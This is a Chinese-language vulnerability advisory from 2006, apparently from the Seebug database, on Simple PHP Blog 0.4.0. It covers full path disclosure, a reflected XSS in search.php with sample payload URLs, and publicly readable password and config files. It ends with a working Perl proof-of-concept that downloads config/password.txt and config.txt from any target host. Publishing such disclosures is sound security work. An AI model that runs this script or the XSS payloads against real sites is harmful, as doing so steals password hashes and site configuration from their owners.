sphpblog多个输入验证漏洞

2006-10-29T00:00:00
ID SSV:326
Type seebug
Reporter Root
Modified 2006-10-29T00:00:00

Description

Simple PHP Blog是一款无需数据库支持的简单Blog程序。

sphpblog中存在多个漏洞,起因是应用程序没有正确的验证用户输入。远程攻击者可以利用这些漏洞获取敏感信息或执行任意代码。

A. 完整路径泄漏

http://[Url]/sphpblog/scripts/sb_functions.php

Ex:

Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in /var/www/sphpblog/scripts/sb_functions.php on line 52

Fatal error: main(): Failed opening required \'scripts/sb_fileio.php\' (include_path=\'.:/usr/share/pear\') in /var/www/sphpblog/scripts/sb_functions.php on line 52

B. search.php跨站脚本漏洞

http://Url/sphpblog/search.php?q=[XSS]

http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E http://[URl]/sphpblog/search.php?q=echo

C. 关键信息泄漏

攻击者可能直接访问有关blog和用户的口令和配置文件。

口令文件使用PHP的crypt()函数。

http://[Url]/sphpblog/config/password.txt http://[Url]/sphpblog/config/config.txt

Simple PHP Blog 0.4.0 厂商补丁:

Simple PHP Blog

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.simplephpblog.com/index.php

                                        
                                            
                                                #!/usr/bin/perl -w

# Remote grabbing sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

print ` * Remote grabbing sphpblog password & config file by y3dips * `;
require LWP::UserAgent;

if(@ARGV == 1)
{

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent(`MSIE/6.0 Windows`);
$ua->timeout(10);
$ua->env_proxy;

my @url = (`http://$target/config/password.txt`, ` http://$target/config/config.txt`);

foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print ` ------------------------------- `;
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print ` ------------------------------- `;

}
}
else {
print `Use: perl $0 [www.target.com] `;
}

# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
# @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;